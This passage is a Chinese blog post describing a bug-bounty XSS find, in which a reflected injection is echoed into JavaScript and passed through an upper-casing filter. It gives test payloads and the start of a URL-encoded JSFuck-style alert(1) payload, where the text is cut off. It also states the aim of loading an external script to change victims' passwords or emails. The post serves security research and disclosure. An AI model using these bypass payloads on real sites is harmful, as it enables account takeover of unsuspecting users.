vue 如何防止xss攻击框架_如何绕过大写过滤器实现XSS攻击

最新推荐文章于 2024-07-04 10:10:18 发布

运营老高

最新推荐文章于 2024-07-04 10:10:18 发布

阅读量1.4k

点赞数

文章标签： vue 如何防止xss攻击框架

本文链接：https://blog.csdn.net/weixin_33448555/article/details/112332331

版权

本文讲述了如何在遇到Vue框架中防止XSS攻击的大写过滤器时，通过构造特殊payload，利用大写字母执行JavaScript代码，从而实现XSS攻击。作者详细介绍了利用不同类型的变量获取小写字母，以及如何混淆和缩短payload以绕过长度限制，最终成功加载外部JS脚本，将低危XSS提升至高危级别。

摘要由CSDN通过智能技术生成

虽然我们不是在安全公司工作，但喜欢参加Hackerone上的漏洞悬赏项目，喜欢寻找漏洞。

而最近发现的漏洞让我感觉javascript代码中的注入漏洞的确会让人防不胜防。

我们在目标网站上找到了一个和XSS有关的漏洞，其中网页涉及到某种谷歌分析代码，可通过URL进行XSS攻击。

http://website.com/dir/subdir

以上URL的后半部分会直接出现在javascript代码中：

function("/DIR/SUBDIR",params);

通过使用Burp suite，我尝试在URL末尾添加-alert(1)-来进行攻击，即http://website.com/dir/subdir/"-alert(1)-"。

结果浏览器告诉我们找不到函数ALERT(1)，看来GET参数会被转换为大写。

然后我们开始测试网站过滤器到底会过滤什么内容，结果发现</script>，//，，. 会受到影响，但是其他敏感字符东西"，'，[，]，{，}并不会。

所以，我们需要利用这些白名单字符构建payload。很快我们便想到了jsfuck.com网站，不过它生成的payload虽然可以绕过大写过滤器，但太长了。

同时，需要说明的是，在Hackerone的悬赏项目中，如果只是执行alert(1)，那么只能算是一个低级XSS（奖励较低）。我们希望将此漏洞的等级升级为高或严重，这就需要证明漏洞可加载外部JS文件，且在和用户无任何交互的情况下就可执行任意Web操作。

以下是一个用于WordPress的payload，我们希望能往目标注入类似于这个payload的外部脚本，非法更改帐户密码或email。

而在JsFuck网站中，一个简单的alert(1)会被转换为如下代码：

"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B